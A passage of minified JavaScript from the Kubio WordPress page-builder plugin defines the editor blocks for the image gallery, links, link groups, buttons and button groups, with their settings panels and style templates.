columns","kubio"),min:1,max:12,capMax:!0,type:He.WithDataPathTypes.PROP,path:"columns",media:"current"}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Use masonry","kubio"),type:He.WithDataPathTypes.PROP,path:"showMasonry",isProOnly:!0,upgradeUrlArgs:{source:"gallery",content:"masonry"}}),Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Image size","kubio")},l,{options:Fh})),Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Click behaviour","kubio"),type:He.WithDataPathTypes.PROP,options:zh,path:"clickBehaviour"}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Show caption","kubio"),type:He.WithDataPathTypes.PROP,path:"caption.enabled"}),(null==n?void 0:n.enabled)&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Caption position","kubio"),type:He.WithDataPathTypes.PROP,options:$h,path:"caption.position"}),((null==n?void 0:n.position)===Vh||(null==n?void 0:n.position)===Yh)&&Object(xe.createElement)(Re.VerticalAlignControlWithPath,{label:Object(We.__)("Vertical align","kubio"),path:"caption.verticalAlign",type:He.WithDataPathTypes.PROP}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,type:He.WithDataPathTypes.STYLE,style:Jh})))})),lO=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(aO,null)),rO="image",iO="caption",cO="image-overlay",sO="image-caption-wrapper",uO={["image-container"]:{label:Object(We.__)("Image Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[rO]:{label:Object(We.__)("Image","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[iO]:{label:Object(We.__)("Caption","kubio"),tag:"figcaption",supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[cO]:{label:Object(We.__)("Image Overlay","kubio"),internal:!0}},pO={styledComponent:rO},bO={styledComponent:cO},mO={styledComponent:sO},dO=Object(He.withComputedData)((e=>({hoverEffect:e.getProp("hoverEffect"),spacingProps:{value:e.getStyle("margin.left",{value:10,unit:"px"},mO),onChange:t=>{const o={top:t,right:t,bottom:t,left:t};e.setStyle("margin",o,mO)},onReset:()=>{e.setStyle("margin",Fe.UNSET_VALUE,mO)}},effectDurationProps:{value:e.getStyle("transition.duration",{},pO),onChange:t=>{e.setStyle("transition.duration",t,pO),e.setStyle("transition.duration",t,bO)},onReset:()=>{const t={value:1,unit:"s"};e.setStyle("transition.duration",t,pO),e.setStyle("transition.duration",t,bO)}}})))((e=>{let{computed:t}=e;const{hoverEffect:o,spacingProps:n,effectDurationProps:a}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Image","kubio")},Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Spacing","kubio"),min:0,max:50,capMin:!0,capMax:!0},n)),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Show hover effect","kubio"),type:He.WithDataPathTypes.PROP,path:"hoverEffect.enabled",isProOnly:!0,upgradeUrlArgs:{source:"gallery",content:"hover-effect"}}),(null==o?void 0:o.enabled)&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Hover effect types","kubio"),type:He.WithDataPathTypes.PROP,options:qh,path:"hoverEffect.type"}),[Kh.removeOverlay,Kh.addOverlay].includes(o.type)&&Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Color","kubio"),path:"background.color",type:He.WithDataPathTypes.STYLE,style:cO}),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Effect duration","kubio")},a,{defaultUnit:"s",min:0,max:5}))))})),hO=Object(He.withComputedData)((e=>{const t=e.getProp("caption"),o=(e.withParent(),-1!==["lightbox","link","media"].indexOf(e.getProp("clickBehaviour")));return{caption:t,inheritedTextColor:Object(tl.useInheritedTypographyValue)(o?"a":"p","color")}}))((e=>{let{computed:t}=e;const{caption:o,inheritedTextColor:n}=t,a={type:He.WithDataPathTypes.STYLE,style:Jh};return null!=o&&o.enabled?Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Caption","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color"},a)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},a,{defaultValue:n})),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},a)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Spacing","kubio"),path:["padding.top","padding.bottom"],min:0,max:20},a))):Object(xe.createElement)(xe.Fragment,null)})),OO=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(dO,null),Object(xe.createElement)(hO,null));var gO=Object(He.withPropsChecker)((e=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(lO,null),Object(xe.createElement)(OO,null),Object(xe.createElement)(nO,e))));const yO={name:"kubio/image-gallery",category:"kubio-components",attributes:{kubio:{type:"object"},size:{type:"string",default:"medium"},imagesData:{type:"array",default:{}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showMasonry:!1,clickBehaviour:"none",caption:{enabled:!1,verticalAlign:"center",position:"below"},hoverEffect:{enabled:!1,type:"zoom",duration:{default:{value:0,unit:"s"}}},columns:4,media:{tablet:{columns:3},mobile:{columns:2}}},style:{descendants:{image:{transition:{duration:{value:"1",unit:"s"}}},caption:{textAlign:"center"},"image-overlay":{transition:{duration:{value:"1",unit:"s"}},background:{color:"rgba(var(--kubio-color-1),1)"}},"image-caption-wrapper":{margin:{top:{value:0},right:{value:0},bottom:{value:0},left:{value:0}}}}}},elementsEnum:{CONTAINER:"container",PLACEHOLDER:"placeholder",GALLERY:"gallery",IMAGE_CONTAINER:"image-container",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"div"}},gallery:{props:{tag:"div"}},image:{selector:".wp-block-kubio-image-gallery-item__image"},"image-container":{selector:".image-gallery-grid-item"},caption:{selector:".wp-block-kubio-image-gallery-item__caption"},"image-caption-wrapper":{selector:".wp-block-kubio-image-gallery-item__image-caption-wrapper"},"image-overlay":{supports:{background:!0},selector:".wp-block-kubio-image-gallery-item__image-overlay"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"style",type:"text/css",tag:"style"}},{type:"element",props:{name:"gallery"},children:[{type:"wp:InnerBlocks"}]}]}}}},jO=Object(nn.extendBlockMeta)(yO,{title:Object(We.__)("Image Gallery","kubio"),description:Object(We.__)("Define the number of columns, the image size, and click behavior for your image gallery.","kubio"),icon:on.BlockIcons.ImageGallery,keywords:[Object(We.__)("images","kubio"),Object(We.__)("masonry","kubio"),Object(We.__)("gallery","kubio"),Object(We.__)("photo","kubio"),Object(We.__)("picture","kubio"),Object(We.__)("photos","kubio")],attributes:{},apiVersion:2,supports:{kubio:{elementsByName:eO},reusable:!1,html:!1},edit:gO,save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},innerBlocksDisableInBetweenInserter:!0}),kO=Object(Me.compose)(Object(He.refreshOnParentChange)(),Object(He.withColibriDataAutoSave)((e=>{const t=e.withParent(),o=t.getProp("caption"),n=t.getProp("hoverEffect"),a=e.getAttribute("url"),l=e.getAttribute("alt"),r=e.getAttribute("caption");return{dataHelper:e,alt:l,src:a,imageCaption:r,caption:o,showCaption:(null==o?void 0:o.enabled)&&!Object(Be.isEmpty)(r),showOverlay:(null==n?void 0:n.enabled)&&((null==n?void 0:n.type)===Kh.addOverlay||(null==n?void 0:n.type)===Kh.removeOverlay),linkEnabled:-1!==["lightbox","link","media"].indexOf(t.getProp("clickBehaviour"))}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{alt:t,src:o}=e;return{[rO]:{alt:t,src:o},[cO]:{},[iO]:{}}}))),EO=kO((e=>{const{StyledElements:t,computed:o,dataHelper:n}=e,{showCaption:a,showOverlay:l,imageCaption:r,src:i,linkEnabled:c}=o;!function(e,t){Object(xe.useEffect)((()=>{const o="__kubioDefaultAssetURLPlaceholder__/";if(!e.includes(o))return;const n=Object(un.defaultAssetURL)(),a=e.replace(o,n);t.setAttribute("url",a)}),[])}(i,n);const s=Object(xe.useCallback)((()=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(t.Image,null),Object(xe.createElement)(t.Caption,{shouldRender:a},r),Object(xe.createElement)(t.ImageOverlay,{shouldRender:l}))),[r,a,l]);return Object(xe.createElement)(t.ImageContainer,null,Object(xe.createElement)(t.ImageCaptionWrapper,null,c&&Object(xe.createElement)(t.Link,{href:"#"},Object(xe.createElement)(s,null)),!c&&Object(xe.createElement)(s,null)))}));var fO=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(EO,e))}));const vO={name:"kubio/image-gallery-item",category:"kubio-basic",parent:["kubio/image-gallery"],attributes:{kubio:{type:"object"},id:{type:"number"},link:{type:"object"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",default:""},title:{type:"string"},sizeSlug:{type:"string",default:"large"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},elementsEnum:{IMAGE_CONTAINER:"image-container",LINK:"link",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{"image-container":{default:!0,wrapper:!1,props:{className:["image-gallery-grid-item"],tag:"figure"}},image:{props:{tag:"img",filters:["wp_filter_content_tags"]}},link:{props:{tag:"a"}},caption:{props:{tag:"figcaption"}},"image-caption-wrapper":{props:{tag:"div"}}},template:{type:"element",props:{name:"image-container"},children:[{type:"element",props:{name:"image-caption-wrapper"},children:[{type:"element",props:{name:"link",shouldRender:"computed.linkEnabled"},children:[{type:"element",props:{name:"image"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}},{type:"element",props:{name:"image-overlay",shouldRender:"computed.showOverlay"}}]},{type:"element",props:{name:"image",shouldRender:"computed.linkDisabled"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaptionWithoutLink"}},{type:"element",props:{name:"image-overlay",shouldRender:"computed.showOverlayWithoutLink"}}]}]}}}},_O=Object(nn.extendBlockMeta)(vO,{title:Object(We.__)("Image","kubio"),icon:on.BlockIcons.IconList,apiVersion:2,supports:{kubio:{elementsByName:uO},reusable:!1,html:!1,lightBlockWrapper:!0},edit:fO}),CO={toolbar1:"bold,italic"};var IO=Object(He.withComputedData)((e=>{const t=e.withParent(),o=null==t?void 0:t.clientId,{childrenIds:n}=Object(Ve.useSelect)((e=>{const{getBlockOrder:t}=e("core/block-editor");return{childrenIds:t(o)}})),a=n.length>1;return{showIcon:e.getProp("showIcon"),groupClientId:o,showLinkGroup:a,onAddLink:()=>{e.duplicate({unlink:!0,selectDuplicate:!1})}}}))((e=>{let{computed:t}=e;const{showIcon:o,groupClientId:n,onAddLink:a,showLinkGroup:l}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Link Properties","kubio")},Object(xe.createElement)(Re.TinymceControlWithPath,{label:Object(We.__)("Link text","kubio"),path:"text",type:He.WithDataPathTypes.ATTRIBUTE,editorSettings:CO}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.LinkControlWithData,null),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Display link icon","kubio"),type:He.WithDataPathTypes.PROP,path:"showIcon"}),o&&Object(xe.createElement)(Re.IconPickerWithPath,{path:"icon.name",type:He.WithDataPathTypes.ATTRIBUTE}),!l&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:n},Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",label:Object(We.__)("Link align","kubio"),style:qs})),Object(xe.createElement)("div",{className:"components-base-control"},Object(xe.createElement)(Le.Button,{isPrimary:!0,icon:on.AddItemIcon,onClick:a,className:"kubio-button-group-button sortable-collapse__add-button"},Object(We.__)("Add link","kubio"))))),l&&Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:n},Object(xe.createElement)(ou,{panelLabel:Object(We.__)("Link Group","kubio"),groupListLabel:Object(We.__)("Link list","kubio")})))}));const TO=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(IO,null));var SO=Object(He.withComputedData)((e=>({})))((()=>{const e={type:He.WithDataPathTypes.STYLE,style:kc},t=Object(tl.useInheritedTypographyValue)("a","color"),o=Object(tl.useInheritedTypographyValue)("a","states.hover.color"),n=Object(tl.useInheritedTypographyValue)("a","states.visited.color");return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Link style","kubio")},Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography",nodeType:"a"},e)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},e,{defaultValue:t})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Hover text color","kubio"),path:"typography.color",state:"hover"},e,{defaultValue:o})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Visited text color","kubio"),path:"typography.color",state:"visited"},e,{defaultValue:n})))}));const wO=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(SO,null),Object(xe.createElement)(Vu,null));var PO=o(328);const AO=e=>{const{isSelected:t,clientId:o,dataHelper:n}=e,[a,l]=Object(xe.useState)(!1),r=Object(xe.useRef)(),i=a&&t&&Object(xe.createElement)(Le.Popover,{position:"center top",className:"kubio-color-popover",onClose:()=>l(!1),anchorRef:null==r?void 0:r.current},Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(Re.LinkControlWithData,null)));return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{name:"link",icon:PO.a,title:Object(We.__)("Link","kubio"),onClick:()=>(l(!0),!1),ref:r}))),i,Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{icon:ma,title:Object(We.__)("Add","kubio"),onClick:()=>{n.duplicate({unlink:!0})}}))))},{getLinkAttributes:BO}=Re.LinkConfig,NO=Object(We.__)("Start writing","kubio"),xO=e=>{e.preventDefault()},RO=e=>{let{blockProps:t,value:o,onChange:n}=e;return t=Object(Be.omit)(t,["data-block","data-type","data-title","id"]),Object(xe.createElement)(De.RichText,Object(ut.a)({identifier:"content"},t,{value:o,onChange:n,allowedFormats:He.allowedRichTextFormats,placeholder:NO}))},DO=e=>{let{computed:t,dataHelper:o,StyledElements:n,isSelected:a,setAttributes:l,clientId:r,withToolbar:i=!0}=e;const{showBeforeIcon:c,showAfterIcon:s,text:u}=t,p=Object(He.useBlockElementProps)(fc),b=Object(xe.useCallback)((e=>{l({text:e})}),[l]),m=Object(xe.useRef)(),d=Object(xe.useRef)();return(e=>{let{clientId:t,containerRef:o,bindToRef:n,offset:a=0}=e;const[l,r]=Object(xe.useState)({}),i=Object(xe.useRef)(),{ownerDocument:c}=o.current||{},s=Object(Me.useThrottle)(Object(xe.useCallback)((()=>{const e=((e,t,o)=>e&&t?function(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;const n=e.getBoundingClientRect(),a=t.getBoundingClientRect();return{left:a.x-n.x-o,top:a.y-n.y-o,width:a.width+2*o,height:a.height+2*o}}(e,t,o):{})(o.current,n.current,a);ri()(l,e)||r(e)}),[l]),1e3);Object(xe.useLayoutEffect)((()=>{if(c)return i.current=c.createElement("style"),c.head.appendChild(i.current),()=>{var e,t;null===(e=(t=i.current).remove)||void 0===e||e.call(t)}}),[c]),Object(xe.useLayoutEffect)((()=>{var e;if(null!=o&&o.current&&null!=n&&n.current)return null==o||null===(e=o.current)||void 0===e||e.addEventListener("mouseover",s),()=>{var e;null==o||null===(e=o.current)||void 0===e||e.removeEventListener("mouseover",s)}}),[]),Object(xe.useEffect)((()=>{let e="";i.current&&(Object(Be.isEmpty)(l)||(Object(Be.each)(l,((t,o)=>{e+=`${o}:${t}px; !important`})),i.current.textContent=`#block-${t}:after{ ${e} }`))}),[l])})({clientId:r,containerRef:d,bindToRef:m,offset:a?2:0}),Object(xe.createElement)(xe.Fragment,null,a&&i&&Object(xe.createElement)(AO,{dataHelper:o,isSelected:a,clientId:r}),Object(xe.createElement)(n.Outer,{ref:d},Object(xe.createElement)(n.Link,{onClick:xO,ref:m},Object(xe.createElement)(n.Icon,{tag:Re.CanvasIcon,shouldRender:c}),a&&Object(xe.createElement)(RO,{blockProps:p,value:u,onChange:b}),!a&&Object(xe.createElement)(n.Text,{dangerouslySetInnerHTML:{__html:u||NO}}),Object(xe.createElement)(n.Icon,{tag:Re.CanvasIcon,shouldRender:s}))))},LO=Object(Me.compose)(Object(He.withColibriDataAutoSave)(((e,t)=>{const o=e.getAttribute("link"),n=BO(o),a=e.getAttribute("icon"),l=e.getProp("showIcon"),r=e.getProp("iconPosition"),i=Fu.iconPosition.values;return{link:o,icon:a,showBeforeIcon:l&&r===i.BEFORE,showAfterIcon:l&&r===i.AFTER,text:e.getAttribute("text"),linkAttributes:n}})),Object(He.withStyledElements)((function(){var e;let{computed:t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[Ec]:{name:null==t||null===(e=t.icon)||void 0===e?void 0:e.name},[kc]:{...null==t?void 0:t.linkAttributes}}}))),MO=LO(DO);var WO=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(TO,null),Object(xe.createElement)(wO,null),Object(xe.createElement)(MO,e))}));const HO={name:"kubio/link",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"this is a link"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showIcon:!1,iconPosition:"before"},style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span"}},link:{default:!0,prefixWithTag:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{LINK_GROUP:GO}=Yo,UO=Object(nn.extendBlockMeta)(HO,{title:Object(We.__)("Link","kubio"),icon:on.BlockIcons.Link,keywords:[],parent:[GO],apiVersion:2,supports:{kubio:{elementsByName:vc},reusable:!1,html:!1},edit:WO,save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.text})}}),FO=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(tu,{panelLabel:Object(We.__)("Link Group","kubio"),groupListLabel:Object(We.__)("Link list","kubio")})),zO=[Yo.LINK],VO=e=>{const{StyledElements:t,innerBlocksPropsOverwrite:o}=e,n=$o({},{renderAppender:!1,orientation:"horizontal",...o});return Object(xe.createElement)(t.Outer,null,Object(xe.createElement)(t.Spacing,n))},YO=()=>e=>{const t=e.getPropByMedia("layout.hSpace",{});return{[Xs]:cn.dynamicStylesTransforms.hSpace(t),[Qs]:cn.dynamicStylesTransforms.hSpaceParent(t)}},$O=YO(),KO=e=>Object(Me.createHigherOrderComponent)((t=>o=>Object(xe.createElement)(t,Object(ut.a)({},o,{innerBlocksPropsOverwrite:e}))))(VO),qO=Object(Me.compose)(Object(He.withRemoveOnEmptyInnerBlocks)(),Object(He.withColibriData)(Ne.a.noop),Object(He.withDynamicStyles)($O),Object(He.withStyledElements)(Ne.a.noop))(KO({allowedBlocks:zO}));const XO={name:"kubio/linkgroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},QO=Object(nn.extendBlockMeta)(XO,{title:Object(We.__)("Link Group","kubio"),description:Object(We.__)("Add multiple stylish links to your content. Adjust them while in a normal or hovered state.","kubio"),icon:on.BlockIcons.Link,keywords:[Object(We.__)("link","kubio"),Object(We.__)("links","kubio"),Object(We.__)("anchor","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Zs},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(FO,null),Object(xe.createElement)(qO,e))},save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},variations:[{name:"default",title:Object(We.__)("Link Group","kubio"),icon:on.BlockIcons.Link,innerBlocks:[[Yo.LINK,{},[]]],isDefault:!0}],innerBlocksDisableInBetweenInserter:!0}),ZO=e=>{let{dynamicLink:t=!1,withAlign:o=!0,buttonPropsAfter:n,buttonPropsBefore:a}=e;return Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Iu,{dynamicLink:t,withAlign:o,buttonPropsAfter:n,buttonPropsBefore:a}))},{getLinkAttributes:JO}=Re.LinkConfig,eg=Object(Me.compose)(Object(He.withColibriDataAutoSave)(((e,t)=>{const o=e.getAttribute("link"),n=JO(o),a=e.getAttribute("icon"),l=e.getProp("showIcon"),r=e.getProp("iconPosition"),i=Eu.iconPosition.values;return{link:o,icon:a,showBeforeIcon:l&&r===i.BEFORE,showAfterIcon:l&&r===i.AFTER,text:e.getAttribute("text"),linkAttributes:n}})),Object(He.withStyledElements)((function(){var e;let{computed:t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[Ic]:{name:null==t||null===(e=t.icon)||void 0===e?void 0:e.name},[Cc]:{...null==t?void 0:t.linkAttributes}}})),Object(Me.createHigherOrderComponent)((e=>t=>{const{clientId:o,withToolbar:n}=t,{getBlockParents:a,getBlock:l}=Object(Ve.useSelect)("core/block-editor"),r=a(o),i=l(r[r.length-1]),c=(null==i?void 0:i.name)===Yo.VIDEO;return Object(xe.createElement)(e,Object(ut.a)({},t,{withToolbar:n&&!c}))}),"checkParent"),Object(He.withRedirectSelectionToParentCondition)([Yo.DOWN_ARROW])),tg=eg(DO),og=(eg(DO),()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Gu,null),Object(xe.createElement)(Yu,null)));var ng=Object(He.withPropsChecker)((function(e){const{dynamicLink:t=!1,buttonPropsBefore:o=null,buttonPropsAfter:n=null,withAlign:a=!0}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ZO,{dynamicLink:t,buttonPropsBefore:o,buttonPropsAfter:n,withAlign:a}),Object(xe.createElement)(og,null),Object(xe.createElement)(tg,e))}));Object(Ae.addFilter)("kubio.useInheritTextAlign",Yo.BUTTON,(function(e){return"kubio/button"!==e&&(!(arguments.length>1&&void 0!==arguments[1])||arguments[1])}));const ag={name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{BUTTON_GROUP:lg,VIDEO:rg,DOWN_ARROW:ig}=Yo,cg=Object(nn.extendBlockMeta)(ag,{title:Object(We.__)("Button","kubio"),icon:on.BlockIcons.Button,keywords:[Object(We.__)("button","kubio"),Object(We.__)("cta","kubio"),Object(We.__)("call to action","kubio")],parent:[lg,rg,ig],apiVersion:2,supports:{kubio:{elementsByName:Tc},reusable:!1,html:!1},edit:ng,save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.text})}}),sg=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(tu,{panelLabel:Object(We.__)("Button Group","kubio"),addButtonText:Object(We.__)("Add button","kubio"),alignLabel:Object(We.__)("Button group align","kubio"),spaceBetweenLabel:Object(We.__)("Space between buttons","kubio")})),ug=[Yo.BUTTON],pg=YO(),bg=Object(Me.compose)(Object(He.withRemoveOnEmptyInnerBlocks)(),Object(He.withColibriData)(Ne.a.noop),Object(He.withDynamicStyles)(pg),Object(He.withStyledElements)(Ne.a.noop))(KO({allowedBlocks:ug}));const mg=Object(We.__)("Create enticing calls to action. Fine-tune them until you get the right colors, contrast, and spacing.","kubio"),dg={name:"kubio/buttongroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup",ICON:"icon"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},hg=Object(nn.extendBlockMeta)(dg,{title:Object(We.__)("Buttons","kubio"),icon:on.BlockIcons.Button,keywords:[Object(We.__)("button","kubio"),Object(We.__)("cta","kubio"),Object(We.__)("call to action","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Zs,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(sg,null),Object(xe.createElement)(bg,e))},save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},innerBlocksDisableInBetweenInserter:!0,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:mg}:e});var Og=o(98);const gg={"core/paragraph":{block:Yo.TEXT,attributes:e=>{let{content:t}=e;return{content:t}}},"core/heading":{block:Yo.HEADING,attributes:e=>{let{content:t,level:o}=e;return{content:t,kubio:{props:{level:o}}}}},"core/separator":{block:Yo.DIVIDER,attributes:()=>({kubio:{props:{type:"line"}},iconName:"font-awesome/star"})},"core/image":{block:Yo.IMAGE,attributes:e=>{let{url:t,alt:o,caption:n}=e;return{alt:o,caption:n.trim().length?n:"",captionEnabled:!!n.trim().length,url:t}}},[Yo.TEXT]:{block:Yo.TEXT},[Yo.HEADING]:{block:Yo.HEADING}},yg=(e,t,o)=>{let{originalAttributes:n,originalName:a,newStyleRefs:l=!0}=o;return(e||[]).map((e=>{var o,r;if(e.clientId===t)return e;const i=null===(o=gg[e.name])||void 0===o?void 0:o.block,c=null===(r=gg[e.name])||void 0===r?void 0:r.attributes;if(i===e.name)return e;if(!i)return Og.Log.info("unhandled on replace for block",e.name,"in",a),e;const s=i===a?n:{},u=Ne.a.merge(s,c?c(e.attributes):{}),p=Object(Ge.createBlock)(i,u,yg(e.innerBlocks,t,{originalAttributes:n,originalName:a,newStyleRefs:l}));return 